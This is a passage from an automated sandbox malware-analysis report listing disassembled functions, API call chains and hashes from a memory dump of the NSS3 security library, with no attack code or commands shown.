PR_Unlock.NSS3(?), ref: 6CEB3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CEB3D02

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c2be01baf2578b947c8948bd39402b6cffba2439936f51a75698660fba12fa6b
Instruction ID: ddf715e4c3d370ad5f0c08c2d604ff2332b3558aa6f8e10cb480e282306629e5
Opcode Fuzzy Hash: c2be01baf2578b947c8948bd39402b6cffba2439936f51a75698660fba12fa6b
Instruction Fuzzy Hash: 8C11B479A00204AFDB40AF24D845AAA3778EF09368F254064EC0897712EB31ED54CBE1

Function 6CEBECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CEBF0AD,6CEBF150,?,6CEBF150,?,?,?), ref: 6CEBECBA

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CEBECD1

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CEBED02

Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CEBED5A

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 7b0610fa6d44ac7ab236aa02cf04660385fd93beb67c0de9384b612b51c26d06
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 3921A1B1A00B429BE700CF25DA44B62B7F4BFA534CF25C259E81C97B61EBB0E594C6D1

Function 6CE8C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6CE8C890

Part of subcall function 6CE88F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE88FAF
Part of subcall function 6CE88F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE88FD1
Part of subcall function 6CE88F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE88FFA
Part of subcall function 6CE88F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE89013
Part of subcall function 6CE88F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE89042
Part of subcall function 6CE88F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE8905A
Part of subcall function 6CE88F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE89073
Part of subcall function 6CE88F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE7DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE89111

PR_GetCurrentThread.NSS3 ref: 6CE8C8B2

Part of subcall function 6CF29BF0: TlsGetValue.KERNEL32(?,?,?,6CF70A75), ref: 6CF29C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE8C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE8C8EB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: a9f2e9fc04472f0f20b98fa560452c053bdcde341f81518444bbddccfb4f944d
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 6A01E976F522106BD70025B99C80ABF35799F4625CFA40239FD0CA6B01F769991883A1

Function 6CEEEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CED7FFA,?,6CED9767,?,8B7874C0,0000A48E), ref: 6CEEEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CED7FFA,?,6CED9767,?,8B7874C0,0000A48E), ref: 6CEEEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CED7FFA,?,6CED9767,?,8B7874C0,0000A48E), ref: 6CEEEE14

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

memcpy.VCRUNTIME140(?,?,6CED9767,00000000,00000000,6CED7FFA,?,6CED9767,?,8B7874C0,0000A48E), ref: 6CEEEE33

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 1c266cfc3298909c1b7f7b52c7ff5988bf3162029a673520eed32c365d0ba500
Instruction ID: 56b4b6378b59ba3d513677a52e9075b396aa79fb6240fa6881e937f076a4d619
Opcode Fuzzy Hash: 1c266cfc3298909c1b7f7b52c7ff5988bf3162029a673520eed32c365d0ba500
Instruction Fuzzy Hash: 701170B1A00B06ABEB109E65DC84B46B3B8EB0839DF344535E91997B50E331E86487E2

Function 6CED08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CED09B3,0000001A,?), ref: 6CED08E9

Part of subcall function 6CEC0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CED08FD

Part of subcall function 6CEBFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEB8D2D,?,00000000,?), ref: 6CEBFB85
Part of subcall function 6CEBFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEBFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CED0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CED0953

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 80a5e01ca115dad55128c02cc21ce1cfb58ffa1b78c80cb51ca1b3870af1b492
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 070104B560174A2BFB049A399C10B6737B89F8021CF29503DEC1AC6B41EB31F5168A91

Function 6CEB49C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6CEB8800: TlsGetValue.KERNEL32(?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8821
Part of subcall function 6CEB8800: TlsGetValue.KERNEL32(?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB883D
Part of subcall function 6CEB8800: EnterCriticalSection.KERNEL32(?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8856
Part of subcall function 6CEB8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEB8887
Part of subcall function 6CEB8800: PR_Unlock.NSS3(?,?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8899

PR_SetError.NSS3 ref: 6CEB4A10
TlsGetValue.KERNEL32(6CEA781D,?,6CE9BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEB4A24
EnterCriticalSection.KERNEL32(?,?,?,6CE9BD28,00CD52E8), ref: 6CEB4A39
PR_Unlock.NSS3(?,?,?,?,6CE9BD28,00CD52E8), ref: 6CEB4A4E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: c9ea53713bf9d65403bcc781061cf2007d407acf57988368b7a97129d5fd9d6b
Instruction ID: f3baeeab957d044bf6a591dde1b8b3ad8fe8baf553062bd001dad8b130bf8561
Opcode Fuzzy Hash: c9ea53713bf9d65403bcc781061cf2007d407acf57988368b7a97129d5fd9d6b
Instruction Fuzzy Hash: 76215CB5B046018FDB10AF78D28466AB7F4FF45718F21492ED8C5ABB01E734E944CB95

Function 6CE88DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE88DE7
EnterCriticalSection.KERNEL32 ref: 6CE88DFC
PR_Unlock.NSS3 ref: 6CE88E2D
PR_SetError.NSS3 ref: 6CE88E49

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 07c391327586960cb5daced0df1ea9507f2117465d67d8562213e6e08ca2e188
Instruction ID: 7efa28ebb836033c6e3ed37222db5bdbc239618d3a6e13653d542e392a3e6c8f
Opcode Fuzzy Hash: 07c391327586960cb5daced0df1ea9507f2117465d67d8562213e6e08ca2e188
Instruction Fuzzy Hash: 7F118F71A05A019FD740AF78C48426ABBF4FF05718F11492ADC8997B00E730E854CBD2

Function 6CF0AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CEF5F17,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF0AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CEF5F17,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF0ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF0ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF0ACDB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: f414393572697281eeff935dc11fafc9027382164208037dbf77204997bdb111
Instruction ID: 2e4a665a955a16e92ce5a281b85838155f08a0313dc09b6f73fc04310b752a9c
Opcode Fuzzy Hash: f414393572697281eeff935dc11fafc9027382164208037dbf77204997bdb111
Instruction Fuzzy Hash: 46015EB1B01B019BE750DF39D958757B7E8BF00A59B518839D85AD3E00E731F055CB91

Function 6CE71DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE71DFB

Part of subcall function 6CE695B0: TlsGetValue.KERNEL32(00000000,?,6CE800D2,00000000), ref: 6CE695D2
Part of subcall function 6CE695B0: EnterCriticalSection.KERNEL32(?,?,?,6CE800D2,00000000), ref: 6CE695E7
Part of subcall function 6CE695B0: PR_Unlock.NSS3(?,?,?,?,6CE800D2,00000000), ref: 6CE69605

PR_EnterMonitor.NSS3 ref: 6CE71E09

Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290AB
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290C9
Part of subcall function 6CF29090: EnterCriticalSection.KERNEL32 ref: 6CF290E5
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF29116
Part of subcall function 6CF29090: LeaveCriticalSection.KERNEL32 ref: 6CF2913F

Part of subcall function 6CE6E190: PR_EnterMonitor.NSS3(?,?,6CE6E175), ref: 6CE6E19C
Part of subcall function 6CE6E190: PR_EnterMonitor.NSS3(6CE6E175), ref: 6CE6E1AA
Part of subcall function 6CE6E190: PR_ExitMonitor.NSS3 ref: 6CE6E208
Part of subcall function 6CE6E190: PL_HashTableRemove.NSS3(?), ref: 6CE6E219
Part of subcall function 6CE6E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE6E231
Part of subcall function 6CE6E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE6E249
Part of subcall function 6CE6E190: PR_ExitMonitor.NSS3 ref: 6CE6E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE71E37
PR_ExitMonitor.NSS3 ref: 6CE71E4A

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 0532c50024cd3fe9f869ffc5b90e03568a38b2ad6ccf61ace2406f0cd6219e77
Instruction ID: d5aaffe3a7af048073d66778e92a9afdda2f1e3bc1e3422dacbc666e4405fcbc
Opcode Fuzzy Hash: 0532c50024cd3fe9f869ffc5b90e03568a38b2ad6ccf61ace2406f0cd6219e77
Instruction Fuzzy Hash: 6001DFB1B5025097EB204AA9EC10F4777B4EB42B4CF300035E81D97B90E771E916DBA2

Function 6CE71D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE71D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE71D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE71D9C
free.MOZGLUE(00000000), ref: 6CE71DB8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: b64dc778e1f16e2120318c145cc5d5fad96e40c3540204f8e1ded64e101f5bff
Instruction ID: bc9aaf678a910a08165f6c50feb033f4cfb593cca5f78729da45174b1d1eb784
Opcode Fuzzy Hash: b64dc778e1f16e2120318c145cc5d5fad96e40c3540204f8e1ded64e101f5bff
Instruction Fuzzy Hash: E6F026B2A0130057FB301A999D52B4736B89B81B8DF300235DA1D87B04D660E400CAF2

Function 6CEB88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CEC08AA,?), ref: 6CEB88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CEC08AA,?), ref: 6CEB890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CEC08AA,?), ref: 6CEB8936
PR_Unlock.NSS3(?,?,?,?,?,6CEC08AA,?), ref: 6CEB8940

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 8d97e4571217ea6b275529fdb3604c6eb3512cfcc9524ecb46d3edd993742fbf
Instruction ID: 760d900c4cfba03ae21565eddede99f4c2087de48b741bf6ea0275de328b197c
Opcode Fuzzy Hash: 8d97e4571217ea6b275529fdb3604c6eb3512cfcc9524ecb46d3edd993742fbf
Instruction Fuzzy Hash: F6018474A04646DFDB10AF39C184669B7F4FF0535CF15562AD88897B00E730E4A4CBD2

Function 6CEF0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFC2F88,6CEF0660,00000020,00000000,?,?,6CEF2C3D,?,00000000,00000000,?,6CEF2A28,00000060,00000001), ref: 6CEF0860

Part of subcall function 6CDE4C70: TlsGetValue.KERNEL32(?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4C97
Part of subcall function 6CDE4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CB0
Part of subcall function 6CDE4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDE3921,6CFC14E4,6CF2CC70), ref: 6CDE4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6CEF2C3D,?,00000000,00000000,?,6CEF2A28,00000060,00000001), ref: 6CEF0874
EnterCriticalSection.KERNEL32(00000001), ref: 6CEF0884
PR_Unlock.NSS3 ref: 6CEF08A3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 8cdf7731b7e0c5c876c3b857348b666abd325c45bbc9002d097f448965a54fd8
Instruction ID: f2feee3a33b1b8a78d8f90880a6057eef17278fe0475634ad83f5fe46cd365cf
Opcode Fuzzy Hash: 8cdf7731b7e0c5c876c3b857348b666abd325c45bbc9002d097f448965a54fd8
Instruction Fuzzy Hash: C301F771F102886BEB412B24EC44B567B38DB5631DF184165EC5852A02EB22A555C7E1

Function 6CEBFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE69003,?), ref: 6CEBFD91

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

PORT_Alloc_Util.NSS3(A4686CEC,?), ref: 6CEBFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEC,?,?), ref: 6CEBFDC4
free.MOZGLUE(00000000,?,?), ref: 6CEBFDD1

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

